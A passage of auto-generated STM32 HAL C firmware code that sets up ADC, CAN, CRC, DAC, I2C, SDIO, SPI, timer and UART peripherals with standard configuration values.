hadc2.Init.DMAContinuousRequests = DISABLE;
hadc2.Init.EOCSelection = ADC_EOC_SINGLE_CONV;
if (HAL_ADC_Init(&hadc2) != HAL_OK)
{
Error_Handler();
}
/** Configure for the selected ADC regular channel its corresponding rank in the sequencer and its sample time.
*/
sConfig.Channel = ADC_CHANNEL_13;
sConfig.Rank = 1;
sConfig.SamplingTime = ADC_SAMPLETIME_3CYCLES;
if (HAL_ADC_ConfigChannel(&hadc2, &sConfig) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN ADC2_Init 2 */
/* USER CODE END ADC2_Init 2 */
}
/**
* @brief ADC3 Initialization Function
* @param None
* @retval None
*/
static void MX_ADC3_Init(void)
{
/* USER CODE BEGIN ADC3_Init 0 */
/* USER CODE END ADC3_Init 0 */
ADC_ChannelConfTypeDef sConfig = {0};
/* USER CODE BEGIN ADC3_Init 1 */
/* USER CODE END ADC3_Init 1 */
/** Configure the global features of the ADC (Clock, Resolution, Data Alignment and number of conversion)
*/
hadc3.Instance = ADC3;
hadc3.Init.ClockPrescaler = ADC_CLOCK_SYNC_PCLK_DIV2;
hadc3.Init.Resolution = ADC_RESOLUTION_12B;
hadc3.Init.ScanConvMode = DISABLE;
hadc3.Init.ContinuousConvMode = DISABLE;
hadc3.Init.DiscontinuousConvMode = DISABLE;
hadc3.Init.ExternalTrigConvEdge = ADC_EXTERNALTRIGCONVEDGE_NONE;
hadc3.Init.ExternalTrigConv = ADC_SOFTWARE_START;
hadc3.Init.DataAlign = ADC_DATAALIGN_RIGHT;
hadc3.Init.NbrOfConversion = 1;
hadc3.Init.DMAContinuousRequests = DISABLE;
hadc3.Init.EOCSelection = ADC_EOC_SINGLE_CONV;
if (HAL_ADC_Init(&hadc3) != HAL_OK)
{
Error_Handler();
}
/** Configure for the selected ADC regular channel its corresponding rank in the sequencer and its sample time.
*/
sConfig.Channel = ADC_CHANNEL_14;
sConfig.Rank = 1;
sConfig.SamplingTime = ADC_SAMPLETIME_3CYCLES;
if (HAL_ADC_ConfigChannel(&hadc3, &sConfig) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN ADC3_Init 2 */
/* USER CODE END ADC3_Init 2 */
}
/**
* @brief CAN1 Initialization Function
* @param None
* @retval None
*/
static void MX_CAN1_Init(void)
{
/* USER CODE BEGIN CAN1_Init 0 */
/* USER CODE END CAN1_Init 0 */
/* USER CODE BEGIN CAN1_Init 1 */
/* USER CODE END CAN1_Init 1 */
hcan1.Instance = CAN1;
hcan1.Init.Prescaler = 16;
hcan1.Init.Mode = CAN_MODE_NORMAL;
hcan1.Init.SyncJumpWidth = CAN_SJW_1TQ;
hcan1.Init.TimeSeg1 = CAN_BS1_1TQ;
hcan1.Init.TimeSeg2 = CAN_BS2_1TQ;
hcan1.Init.TimeTriggeredMode = DISABLE;
hcan1.Init.AutoBusOff = DISABLE;
hcan1.Init.AutoWakeUp = DISABLE;
hcan1.Init.AutoRetransmission = DISABLE;
hcan1.Init.ReceiveFifoLocked = DISABLE;
hcan1.Init.TransmitFifoPriority = DISABLE;
if (HAL_CAN_Init(&hcan1) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN CAN1_Init 2 */
/* USER CODE END CAN1_Init 2 */
}
/**
* @brief CAN2 Initialization Function
* @param None
* @retval None
*/
static void MX_CAN2_Init(void)
{
/* USER CODE BEGIN CAN2_Init 0 */
/* USER CODE END CAN2_Init 0 */
/* USER CODE BEGIN CAN2_Init 1 */
/* USER CODE END CAN2_Init 1 */
hcan2.Instance = CAN2;
hcan2.Init.Prescaler = 16;
hcan2.Init.Mode = CAN_MODE_NORMAL;
hcan2.Init.SyncJumpWidth = CAN_SJW_1TQ;
hcan2.Init.TimeSeg1 = CAN_BS1_1TQ;
hcan2.Init.TimeSeg2 = CAN_BS2_1TQ;
hcan2.Init.TimeTriggeredMode = DISABLE;
hcan2.Init.AutoBusOff = DISABLE;
hcan2.Init.AutoWakeUp = DISABLE;
hcan2.Init.AutoRetransmission = DISABLE;
hcan2.Init.ReceiveFifoLocked = DISABLE;
hcan2.Init.TransmitFifoPriority = DISABLE;
if (HAL_CAN_Init(&hcan2) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN CAN2_Init 2 */
/* USER CODE END CAN2_Init 2 */
}
/**
* @brief CRC Initialization Function
* @param None
* @retval None
*/
static void MX_CRC_Init(void)
{
/* USER CODE BEGIN CRC_Init 0 */
/* USER CODE END CRC_Init 0 */
/* USER CODE BEGIN CRC_Init 1 */
/* USER CODE END CRC_Init 1 */
hcrc.Instance = CRC;
if (HAL_CRC_Init(&hcrc) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN CRC_Init 2 */
/* USER CODE END CRC_Init 2 */
}
/**
* @brief DAC Initialization Function
* @param None
* @retval None
*/
static void MX_DAC_Init(void)
{
/* USER CODE BEGIN DAC_Init 0 */
/* USER CODE END DAC_Init 0 */
DAC_ChannelConfTypeDef sConfig = {0};
/* USER CODE BEGIN DAC_Init 1 */
/* USER CODE END DAC_Init 1 */
/** DAC Initialization
*/
hdac.Instance = DAC;
if (HAL_DAC_Init(&hdac) != HAL_OK)
{
Error_Handler();
}
/** DAC channel OUT1 config
*/
sConfig.DAC_Trigger = DAC_TRIGGER_NONE;
sConfig.DAC_OutputBuffer = DAC_OUTPUTBUFFER_ENABLE;
if (HAL_DAC_ConfigChannel(&hdac, &sConfig, DAC_CHANNEL_1) != HAL_OK)
{
Error_Handler();
}
/** DAC channel OUT2 config
*/
if (HAL_DAC_ConfigChannel(&hdac, &sConfig, DAC_CHANNEL_2) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN DAC_Init 2 */
/* USER CODE END DAC_Init 2 */
}
/**
* @brief I2C2 Initialization Function
* @param None
* @retval None
*/
static void MX_I2C2_Init(void)
{
/* USER CODE BEGIN I2C2_Init 0 */
/* USER CODE END I2C2_Init 0 */
/* USER CODE BEGIN I2C2_Init 1 */
/* USER CODE END I2C2_Init 1 */
hi2c2.Instance = I2C2;
hi2c2.Init.ClockSpeed = 100000;
hi2c2.Init.DutyCycle = I2C_DUTYCYCLE_2;
hi2c2.Init.OwnAddress1 = 0;
hi2c2.Init.AddressingMode = I2C_ADDRESSINGMODE_7BIT;
hi2c2.Init.DualAddressMode = I2C_DUALADDRESS_DISABLE;
hi2c2.Init.OwnAddress2 = 0;
hi2c2.Init.GeneralCallMode = I2C_GENERALCALL_DISABLE;
hi2c2.Init.NoStretchMode = I2C_NOSTRETCH_DISABLE;
if (HAL_I2C_Init(&hi2c2) != HAL_OK)
{
Error_Handler();
}
/** Configure Analogue filter
*/
if (HAL_I2CEx_ConfigAnalogFilter(&hi2c2, I2C_ANALOGFILTER_ENABLE) != HAL_OK)
{
Error_Handler();
}
/** Configure Digital filter
*/
if (HAL_I2CEx_ConfigDigitalFilter(&hi2c2, 0) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN I2C2_Init 2 */
/* USER CODE END I2C2_Init 2 */
}
/**
* @brief SDIO Initialization Function
* @param None
* @retval None
*/
static void MX_SDIO_SD_Init(void)
{
/* USER CODE BEGIN SDIO_Init 0 */
/* USER CODE END SDIO_Init 0 */
/* USER CODE BEGIN SDIO_Init 1 */
/* USER CODE END SDIO_Init 1 */
hsd.Instance = SDIO;
hsd.Init.ClockEdge = SDIO_CLOCK_EDGE_RISING;
hsd.Init.ClockBypass = SDIO_CLOCK_BYPASS_DISABLE;
hsd.Init.ClockPowerSave = SDIO_CLOCK_POWER_SAVE_DISABLE;
hsd.Init.BusWide = SDIO_BUS_WIDE_1B;
hsd.Init.HardwareFlowControl = SDIO_HARDWARE_FLOW_CONTROL_DISABLE;
hsd.Init.ClockDiv = 0;
if (HAL_SD_Init(&hsd) != HAL_OK)
{
Error_Handler();
}
if (HAL_SD_ConfigWideBusOperation(&hsd, SDIO_BUS_WIDE_4B) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN SDIO_Init 2 */
/* USER CODE END SDIO_Init 2 */
}
/**
* @brief SPI1 Initialization Function
* @param None
* @retval None
*/
static void MX_SPI1_Init(void)
{
/* USER CODE BEGIN SPI1_Init 0 */
/* USER CODE END SPI1_Init 0 */
/* USER CODE BEGIN SPI1_Init 1 */
/* USER CODE END SPI1_Init 1 */
/* SPI1 parameter configuration*/
hspi1.Instance = SPI1;
hspi1.Init.Mode = SPI_MODE_MASTER;
hspi1.Init.Direction = SPI_DIRECTION_2LINES;
hspi1.Init.DataSize = SPI_DATASIZE_8BIT;
hspi1.Init.CLKPolarity = SPI_POLARITY_LOW;
hspi1.Init.CLKPhase = SPI_PHASE_1EDGE;
hspi1.Init.NSS = SPI_NSS_SOFT;
hspi1.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_2;
hspi1.Init.FirstBit = SPI_FIRSTBIT_MSB;
hspi1.Init.TIMode = SPI_TIMODE_DISABLE;
hspi1.Init.CRCCalculation = SPI_CRCCALCULATION_DISABLE;
hspi1.Init.CRCPolynomial = 10;
if (HAL_SPI_Init(&hspi1) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN SPI1_Init 2 */
/* USER CODE END SPI1_Init 2 */
}
/**
* @brief SPI4 Initialization Function
* @param None
* @retval None
*/
static void MX_SPI4_Init(void)
{
/* USER CODE BEGIN SPI4_Init 0 */
/* USER CODE END SPI4_Init 0 */
/* USER CODE BEGIN SPI4_Init 1 */
/* USER CODE END SPI4_Init 1 */
/* SPI4 parameter configuration*/
hspi4.Instance = SPI4;
hspi4.Init.Mode = SPI_MODE_MASTER;
hspi4.Init.Direction = SPI_DIRECTION_2LINES;
hspi4.Init.DataSize = SPI_DATASIZE_8BIT;
hspi4.Init.CLKPolarity = SPI_POLARITY_LOW;
hspi4.Init.CLKPhase = SPI_PHASE_1EDGE;
hspi4.Init.NSS = SPI_NSS_HARD_OUTPUT;
hspi4.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_2;
hspi4.Init.FirstBit = SPI_FIRSTBIT_MSB;
hspi4.Init.TIMode = SPI_TIMODE_DISABLE;
hspi4.Init.CRCCalculation = SPI_CRCCALCULATION_DISABLE;
hspi4.Init.CRCPolynomial = 10;
if (HAL_SPI_Init(&hspi4) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN SPI4_Init 2 */
/* USER CODE END SPI4_Init 2 */
}
/**
* @brief SPI5 Initialization Function
* @param None
* @retval None
*/
static void MX_SPI5_Init(void)
{
/* USER CODE BEGIN SPI5_Init 0 */
/* USER CODE END SPI5_Init 0 */
/* USER CODE BEGIN SPI5_Init 1 */
/* USER CODE END SPI5_Init 1 */
/* SPI5 parameter configuration*/
hspi5.Instance = SPI5;
hspi5.Init.Mode = SPI_MODE_MASTER;
hspi5.Init.Direction = SPI_DIRECTION_2LINES;
hspi5.Init.DataSize = SPI_DATASIZE_8BIT;
hspi5.Init.CLKPolarity = SPI_POLARITY_LOW;
hspi5.Init.CLKPhase = SPI_PHASE_1EDGE;
hspi5.Init.NSS = SPI_NSS_HARD_OUTPUT;
hspi5.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_2;
hspi5.Init.FirstBit = SPI_FIRSTBIT_MSB;
hspi5.Init.TIMode = SPI_TIMODE_DISABLE;
hspi5.Init.CRCCalculation = SPI_CRCCALCULATION_DISABLE;
hspi5.Init.CRCPolynomial = 10;
if (HAL_SPI_Init(&hspi5) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN SPI5_Init 2 */
/* USER CODE END SPI5_Init 2 */
}
/**
* @brief TIM1 Initialization Function
* @param None
* @retval None
*/
static void MX_TIM1_Init(void)
{
/* USER CODE BEGIN TIM1_Init 0 */
/* USER CODE END TIM1_Init 0 */
TIM_MasterConfigTypeDef sMasterConfig = {0};
TIM_OC_InitTypeDef sConfigOC = {0};
TIM_BreakDeadTimeConfigTypeDef sBreakDeadTimeConfig = {0};
/* USER CODE BEGIN TIM1_Init 1 */
/* USER CODE END TIM1_Init 1 */
htim1.Instance = TIM1;
htim1.Init.Prescaler = 0;
htim1.Init.CounterMode = TIM_COUNTERMODE_UP;
htim1.Init.Period = 0;
htim1.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
htim1.Init.RepetitionCounter = 0;
htim1.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
if (HAL_TIM_PWM_Init(&htim1) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_OC_Init(&htim1) != HAL_OK)
{
Error_Handler();
}
sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET;
sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE;
if (HAL_TIMEx_MasterConfigSynchronization(&htim1, &sMasterConfig) != HAL_OK)
{
Error_Handler();
}
sConfigOC.OCMode = TIM_OCMODE_PWM1;
sConfigOC.Pulse = 0;
sConfigOC.OCPolarity = TIM_OCPOLARITY_HIGH;
sConfigOC.OCNPolarity = TIM_OCNPOLARITY_HIGH;
sConfigOC.OCFastMode = TIM_OCFAST_DISABLE;
sConfigOC.OCIdleState = TIM_OCIDLESTATE_RESET;
sConfigOC.OCNIdleState = TIM_OCNIDLESTATE_RESET;
if (HAL_TIM_PWM_ConfigChannel(&htim1, &sConfigOC, TIM_CHANNEL_1) != HAL_OK)
{
Error_Handler();
}
sConfigOC.OCMode = TIM_OCMODE_TIMING;
if (HAL_TIM_OC_ConfigChannel(&htim1, &sConfigOC, TIM_CHANNEL_2) != HAL_OK)
{
Error_Handler();
}
sConfigOC.OCMode = TIM_OCMODE_PWM1;
if (HAL_TIM_PWM_ConfigChannel(&htim1, &sConfigOC, TIM_CHANNEL_3) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim1, &sConfigOC, TIM_CHANNEL_4) != HAL_OK)
{
Error_Handler();
}
sBreakDeadTimeConfig.OffStateRunMode = TIM_OSSR_DISABLE;
sBreakDeadTimeConfig.OffStateIDLEMode = TIM_OSSI_DISABLE;
sBreakDeadTimeConfig.LockLevel = TIM_LOCKLEVEL_OFF;
sBreakDeadTimeConfig.DeadTime = 0;
sBreakDeadTimeConfig.BreakState = TIM_BREAK_DISABLE;
sBreakDeadTimeConfig.BreakPolarity = TIM_BREAKPOLARITY_HIGH;
sBreakDeadTimeConfig.AutomaticOutput = TIM_AUTOMATICOUTPUT_DISABLE;
if (HAL_TIMEx_ConfigBreakDeadTime(&htim1, &sBreakDeadTimeConfig) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN TIM1_Init 2 */
/* USER CODE END TIM1_Init 2 */
HAL_TIM_MspPostInit(&htim1);
}
/**
* @brief TIM2 Initialization Function
* @param None
* @retval None
*/
static void MX_TIM2_Init(void)
{
/* USER CODE BEGIN TIM2_Init 0 */
/* USER CODE END TIM2_Init 0 */
TIM_MasterConfigTypeDef sMasterConfig = {0};
TIM_OC_InitTypeDef sConfigOC = {0};
/* USER CODE BEGIN TIM2_Init 1 */
/* USER CODE END TIM2_Init 1 */
htim2.Instance = TIM2;
htim2.Init.Prescaler = 0;
htim2.Init.CounterMode = TIM_COUNTERMODE_UP;
htim2.Init.Period = 0;
htim2.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
htim2.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
if (HAL_TIM_PWM_Init(&htim2) != HAL_OK)
{
Error_Handler();
}
sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET;
sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE;
if (HAL_TIMEx_MasterConfigSynchronization(&htim2, &sMasterConfig) != HAL_OK)
{
Error_Handler();
}
sConfigOC.OCMode = TIM_OCMODE_PWM1;
sConfigOC.Pulse = 0;
sConfigOC.OCPolarity = TIM_OCPOLARITY_HIGH;
sConfigOC.OCFastMode = TIM_OCFAST_DISABLE;
if (HAL_TIM_PWM_ConfigChannel(&htim2, &sConfigOC, TIM_CHANNEL_1) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim2, &sConfigOC, TIM_CHANNEL_2) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim2, &sConfigOC, TIM_CHANNEL_3) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim2, &sConfigOC, TIM_CHANNEL_4) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN TIM2_Init 2 */
/* USER CODE END TIM2_Init 2 */
HAL_TIM_MspPostInit(&htim2);
}
/**
* @brief TIM3 Initialization Function
* @param None
* @retval None
*/
static void MX_TIM3_Init(void)
{
/* USER CODE BEGIN TIM3_Init 0 */
/* USER CODE END TIM3_Init 0 */
TIM_MasterConfigTypeDef sMasterConfig = {0};
TIM_OC_InitTypeDef sConfigOC = {0};
/* USER CODE BEGIN TIM3_Init 1 */
/* USER CODE END TIM3_Init 1 */
htim3.Instance = TIM3;
htim3.Init.Prescaler = 0;
htim3.Init.CounterMode = TIM_COUNTERMODE_UP;
htim3.Init.Period = 0;
htim3.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
htim3.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
if (HAL_TIM_PWM_Init(&htim3) != HAL_OK)
{
Error_Handler();
}
sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET;
sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE;
if (HAL_TIMEx_MasterConfigSynchronization(&htim3, &sMasterConfig) != HAL_OK)
{
Error_Handler();
}
sConfigOC.OCMode = TIM_OCMODE_PWM1;
sConfigOC.Pulse = 0;
sConfigOC.OCPolarity = TIM_OCPOLARITY_HIGH;
sConfigOC.OCFastMode = TIM_OCFAST_DISABLE;
if (HAL_TIM_PWM_ConfigChannel(&htim3, &sConfigOC, TIM_CHANNEL_2) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN TIM3_Init 2 */
/* USER CODE END TIM3_Init 2 */
HAL_TIM_MspPostInit(&htim3);
}
/**
* @brief TIM4 Initialization Function
* @param None
* @retval None
*/
static void MX_TIM4_Init(void)
{
/* USER CODE BEGIN TIM4_Init 0 */
/* USER CODE END TIM4_Init 0 */
TIM_MasterConfigTypeDef sMasterConfig = {0};
TIM_OC_InitTypeDef sConfigOC = {0};
/* USER CODE BEGIN TIM4_Init 1 */
/* USER CODE END TIM4_Init 1 */
htim4.Instance = TIM4;
htim4.Init.Prescaler = 0;
htim4.Init.CounterMode = TIM_COUNTERMODE_UP;
htim4.Init.Period = 0;
htim4.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
htim4.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
if (HAL_TIM_PWM_Init(&htim4) != HAL_OK)
{
Error_Handler();
}
sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET;
sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE;
if (HAL_TIMEx_MasterConfigSynchronization(&htim4, &sMasterConfig) != HAL_OK)
{
Error_Handler();
}
sConfigOC.OCMode = TIM_OCMODE_PWM1;
sConfigOC.Pulse = 0;
sConfigOC.OCPolarity = TIM_OCPOLARITY_HIGH;
sConfigOC.OCFastMode = TIM_OCFAST_DISABLE;
if (HAL_TIM_PWM_ConfigChannel(&htim4, &sConfigOC, TIM_CHANNEL_1) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim4, &sConfigOC, TIM_CHANNEL_2) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim4, &sConfigOC, TIM_CHANNEL_3) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim4, &sConfigOC, TIM_CHANNEL_4) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN TIM4_Init 2 */
/* USER CODE END TIM4_Init 2 */
HAL_TIM_MspPostInit(&htim4);
}
/**
* @brief TIM5 Initialization Function
* @param None
* @retval None
*/
static void MX_TIM5_Init(void)
{
/* USER CODE BEGIN TIM5_Init 0 */
/* USER CODE END TIM5_Init 0 */
TIM_MasterConfigTypeDef sMasterConfig = {0};
TIM_OC_InitTypeDef sConfigOC = {0};
/* USER CODE BEGIN TIM5_Init 1 */
/* USER CODE END TIM5_Init 1 */
htim5.Instance = TIM5;
htim5.Init.Prescaler = 0;
htim5.Init.CounterMode = TIM_COUNTERMODE_UP;
htim5.Init.Period = 0;
htim5.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
htim5.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
if (HAL_TIM_PWM_Init(&htim5) != HAL_OK)
{
Error_Handler();
}
sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET;
sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE;
if (HAL_TIMEx_MasterConfigSynchronization(&htim5, &sMasterConfig) != HAL_OK)
{
Error_Handler();
}
sConfigOC.OCMode = TIM_OCMODE_PWM1;
sConfigOC.Pulse = 0;
sConfigOC.OCPolarity = TIM_OCPOLARITY_HIGH;
sConfigOC.OCFastMode = TIM_OCFAST_DISABLE;
if (HAL_TIM_PWM_ConfigChannel(&htim5, &sConfigOC, TIM_CHANNEL_1) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim5, &sConfigOC, TIM_CHANNEL_2) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim5, &sConfigOC, TIM_CHANNEL_3) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim5, &sConfigOC, TIM_CHANNEL_4) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN TIM5_Init 2 */
/* USER CODE END TIM5_Init 2 */
HAL_TIM_MspPostInit(&htim5);
}
/**
* @brief TIM8 Initialization Function
* @param None
* @retval None
*/
static void MX_TIM8_Init(void)
{
/* USER CODE BEGIN TIM8_Init 0 */
/* USER CODE END TIM8_Init 0 */
TIM_MasterConfigTypeDef sMasterConfig = {0};
TIM_OC_InitTypeDef sConfigOC = {0};
TIM_BreakDeadTimeConfigTypeDef sBreakDeadTimeConfig = {0};
/* USER CODE BEGIN TIM8_Init 1 */
/* USER CODE END TIM8_Init 1 */
htim8.Instance = TIM8;
htim8.Init.Prescaler = 0;
htim8.Init.CounterMode = TIM_COUNTERMODE_UP;
htim8.Init.Period = 0;
htim8.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
htim8.Init.RepetitionCounter = 0;
htim8.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
if (HAL_TIM_PWM_Init(&htim8) != HAL_OK)
{
Error_Handler();
}
sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET;
sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE;
if (HAL_TIMEx_MasterConfigSynchronization(&htim8, &sMasterConfig) != HAL_OK)
{
Error_Handler();
}
sConfigOC.OCMode = TIM_OCMODE_PWM1;
sConfigOC.Pulse = 0;
sConfigOC.OCPolarity = TIM_OCPOLARITY_HIGH;
sConfigOC.OCNPolarity = TIM_OCNPOLARITY_HIGH;
sConfigOC.OCFastMode = TIM_OCFAST_DISABLE;
sConfigOC.OCIdleState = TIM_OCIDLESTATE_RESET;
sConfigOC.OCNIdleState = TIM_OCNIDLESTATE_RESET;
if (HAL_TIM_PWM_ConfigChannel(&htim8, &sConfigOC, TIM_CHANNEL_1) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim8, &sConfigOC, TIM_CHANNEL_2) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim8, &sConfigOC, TIM_CHANNEL_3) != HAL_OK)
{
Error_Handler();
}
if (HAL_TIM_PWM_ConfigChannel(&htim8, &sConfigOC, TIM_CHANNEL_4) != HAL_OK)
{
Error_Handler();
}
sBreakDeadTimeConfig.OffStateRunMode = TIM_OSSR_DISABLE;
sBreakDeadTimeConfig.OffStateIDLEMode = TIM_OSSI_DISABLE;
sBreakDeadTimeConfig.LockLevel = TIM_LOCKLEVEL_OFF;
sBreakDeadTimeConfig.DeadTime = 0;
sBreakDeadTimeConfig.BreakState = TIM_BREAK_DISABLE;
sBreakDeadTimeConfig.BreakPolarity = TIM_BREAKPOLARITY_HIGH;
sBreakDeadTimeConfig.AutomaticOutput = TIM_AUTOMATICOUTPUT_DISABLE;
if (HAL_TIMEx_ConfigBreakDeadTime(&htim8, &sBreakDeadTimeConfig) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN TIM8_Init 2 */
/* USER CODE END TIM8_Init 2 */
HAL_TIM_MspPostInit(&htim8);
}
/**
* @brief TIM12 Initialization Function
* @param None
* @retval None
*/
static void MX_TIM12_Init(void)
{
/* USER CODE BEGIN TIM12_Init 0 */
/* USER CODE END TIM12_Init 0 */
TIM_OC_InitTypeDef sConfigOC = {0};
/* USER CODE BEGIN TIM12_Init 1 */
/* USER CODE END TIM12_Init 1 */
htim12.Instance = TIM12;
htim12.Init.Prescaler = 0;
htim12.Init.CounterMode = TIM_COUNTERMODE_UP;
htim12.Init.Period = 0;
htim12.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
htim12.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
if (HAL_TIM_OC_Init(&htim12) != HAL_OK)
{
Error_Handler();
}
sConfigOC.OCMode = TIM_OCMODE_TIMING;
sConfigOC.Pulse = 0;
sConfigOC.OCPolarity = TIM_OCPOLARITY_HIGH;
sConfigOC.OCFastMode = TIM_OCFAST_DISABLE;
if (HAL_TIM_OC_ConfigChannel(&htim12, &sConfigOC, TIM_CHANNEL_1) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN TIM12_Init 2 */
/* USER CODE END TIM12_Init 2 */
HAL_TIM_MspPostInit(&htim12);
}
/**
* @brief UART7 Initialization Function
* @param None
* @retval None
*/
static void MX_UART7_Init(void)
{
/* USER CODE BEGIN UART7_Init 0 */
/* USER CODE END UART7_Init 0 */
/* USER CODE BEGIN UART7_Init 1 */
/* USER CODE END UART7_Init 1 */
huart7.Instance = UART7;
huart7.Init.BaudRate = 115200;
huart7.Init.WordLength = UART_WORDLENGTH_8B;
huart7.Init.StopBits = UART_STOPBITS_1;
huart7.Init.Parity = UART_PARITY_NONE;
huart7.Init.Mode = UART_MODE_TX_RX;
huart7.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart7.Init.OverSampling = UART_OVERSAMPLING_16;
if (HAL_UART_Init(&huart7) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN UART7_Init 2 */
/* USER CODE END UART7_Init 2 */
}
/**
* @brief UART8 Initialization Function
* @param None
* @retval None
*/
static void MX_UART8_Init(void)
{
/* USER CODE BEGIN UART8_Init 0 */
/* USER CODE END UART8_Init 0 */
/* USER CODE BEGIN UART8_Init 1 */
/* USER CODE END UART8_Init 1 */
huart8.Instance = UART8;
huart8.Init.BaudRate = 115200;
huart8.Init.WordLength = UART_WORDLENGTH_8B;
huart8.Init.StopBits = UART_STOPBITS_1;
huart8.Init.Parity = UART_PARITY_NONE;
huart8.Init.Mode = UART_MODE_TX_RX;
huart8.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart8.Init.OverSampling = UART_OVERSAMPLING_16;
if (HAL_UART_Init(&huart8) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN UART8_Init 2 */
/* USER CODE END UART8_Init 2 */
}
/**
* @brief USART1 Initialization Function
* @param None
* @retval None
*/
static void MX_USART1_UART_Init(void)
{
/* USER CODE BEGIN USART1_Init 0 */
/* USER CODE END USART1_Init 0 */
/* USER CODE BEGIN USART1_Init 1 */
/* USER CODE END USART1_Init 1 */
huart1.Instance = USART1;
huart1.Init.BaudRate = 115200;
huart1.Init.WordLength = UART_WORDLENGTH_8B;
huart1.Init.StopBits = UART_STOPBITS_1;
huart1.Init.Parity = UART_PARITY_NONE;
huart1.Init.Mode = UART_MODE_TX_RX;
huart1.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart1.Init.OverSampling = UART_OVERSAMPLING_16;
if (HAL_UART_Init(&huart1) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN USART1_Init 2 */
/* USER CODE END USART1_Init 2 */
}
/**
* @brief USART2 Initialization Function
* @param None
* @retval None
*/
static void MX_USART2_UART_Init(void)
{
/* USER CODE BEGIN USART2_Init 0 */
/* USER CODE END USART2_Init 0 */
/* USER CODE BEGIN USART2_Init 1 */
/* USER CODE END USART2_Init 1 */
huart2.Instance = USART2;
huart2.Init.BaudRate = 115200;
huart2.Init.WordLength = UART_WORDLENGTH_8B;
huart2.Init.StopBits = UART_STOPBITS_1;
huart2.Init.Parity = UART_PARITY_NONE;
huart2.Init.Mode = UART_MODE_TX_RX;
huart2.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart2.Init.OverSampling = UART_OVERSAMPLING_16;
if (HAL_UART_Init(&huart2) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN USART2_Init 2 */
/* USER CODE END USART2_Init 2 */
}
/**
* @brief USART3 Initialization Function
* @param None
* @retval None
*/
static void MX_USART3_UART_Init(void)
{
/* USER CODE BEGIN USART3_Init 0 */
/* USER CODE END USART3_Init 0 */
/* USER CODE BEGIN USART3_Init 1 */
/* USER CODE END USART3_Init 1 */
huart3.Instance = USART3;
huart3.Init.BaudRate = 115200;
huart3.Init.WordLength = UART_WORDLENGTH_8B;
